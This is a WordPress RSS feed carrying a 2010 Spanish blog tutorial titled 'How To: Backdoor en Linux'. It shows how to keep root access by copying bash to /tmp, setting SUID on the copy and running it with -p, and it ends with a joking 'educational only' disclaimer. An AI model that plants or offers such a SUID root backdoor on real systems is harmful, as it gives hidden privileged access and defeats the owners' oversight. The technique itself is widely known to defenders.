<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>pagondel &#187; Backdoor</title>
	<atom:link href="http://www.pagondel.org/tag/backdoor/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.pagondel.org</link>
	<description>asdf</description>
	<lastBuildDate>Sat, 05 Nov 2011 04:20:33 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>How To: Backdoor en Linux</title>
		<link>http://www.pagondel.org/how-to-backdoor-en-linux/</link>
		<comments>http://www.pagondel.org/how-to-backdoor-en-linux/#comments</comments>
		<pubDate>Wed, 24 Feb 2010 20:22:57 +0000</pubDate>
		<dc:creator>pagondel</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Backdoor]]></category>
		<category><![CDATA[Bash]]></category>

		<guid isPermaLink="false">http://www.pagondel.org/?p=321</guid>
		<description><![CDATA[Según Wikipedia un backdoor es: En la informática, una puerta trasera (o en inglés backdoor), es una secuencia especial dentro del código de programación mediante la cual el programador puede acceder o escapar de un programa en caso de emergencia o contingencia en algún problema. Estas puertas también pueden ser utilizadas para fines maliciosos y ]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><p>Según <a href="http://es.wikipedia.org/wiki/Backdoor">Wikipedia</a> un backdoor es:</p>
<blockquote>
<div id="_mcePaste">En la informática, una puerta trasera (o en inglés backdoor), es una secuencia especial dentro del código de programación mediante la cual el programador puede acceder o escapar de un programa en caso de emergencia o contingencia en algún problema.</div>
<div id="_mcePaste">Estas puertas también pueden ser utilizadas para fines maliciosos y espionaje.</div>
</blockquote>
<div>En este caso crearemos una puerta trasera que nos permita logearnos como root sin necesidad de tener la contraseña (aunque requeriremos tener acceso previo a la cuenta de root por lo menos una vez).</div>
<div>Lo primero que haremos será copiar una shell bash a algún otro directorio, en este caso usaremos /tmp:</div>
<blockquote>
<div>cp -p /bin/bash /tmp</div>
</blockquote>
<div>La opción -p permite copiar manteniendo los permisos/dueño originales del archivo.</div>
<div>Ahora, <em><strong>como root </strong></em>debemos dar el permiso <a href="http://es.wikipedia.org/wiki/Setuid">SUID</a> al bash que copiamos:</div>
<blockquote>
<div>chmod u+s /tmp/bash</div>
</blockquote>
<div>Y finalmente solamente necesitamos ejecutar nuestra copia de la bash:</div>
<blockquote>
<div>/tmp/bash -p</div>
</blockquote>
<div>La opción -p permite ejecutar bash sin cargar las variables de entorno del usuario que este ejecutandola.</div>
<div style="text-align: center;"><a href="http://www.pagondel.org/wp-content/uploads/2010/02/Pantallazo-pagondel@HAL-.png"><img class="alignnone size-full wp-image-323" title="Pantallazo-pagondel@HAL: ~" src="http://www.pagondel.org/wp-content/uploads/2010/02/Pantallazo-pagondel@HAL-.png" alt="" width="457" height="299" /></a></div>
<div style="text-align: center;"></div>
<div style="text-align: left;"><em>Disclaimer: Este post es solo con propósitos educacionales :P.</em></div>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.pagondel.org/kungfu-bunny/" rel="bookmark" class="crp_title">Kungfu Bunny</a></li><li><a href="http://www.pagondel.org/manifiesto-del-mal-blogger/" rel="bookmark" class="crp_title">Manifiesto del Mal Blogger</a></li><li><a href="http://www.pagondel.org/openoffice-para-ninos/" rel="bookmark" class="crp_title">OpenOffice para niños</a></li><li><a href="http://www.pagondel.org/how-to-instalar-vmware-en-ubuntu-10-10-64-bits/" rel="bookmark" class="crp_title">How To: Instalar VMware en Ubuntu 10.10 64 bits</a></li><li><a href="http://www.pagondel.org/how-to-recuperar-grub2/" rel="bookmark" class="crp_title">HOW TO: Recuperar GRUB2</a></li></ul></div><div class="shr-publisher-321"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://www.pagondel.org/how-to-backdoor-en-linux/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>

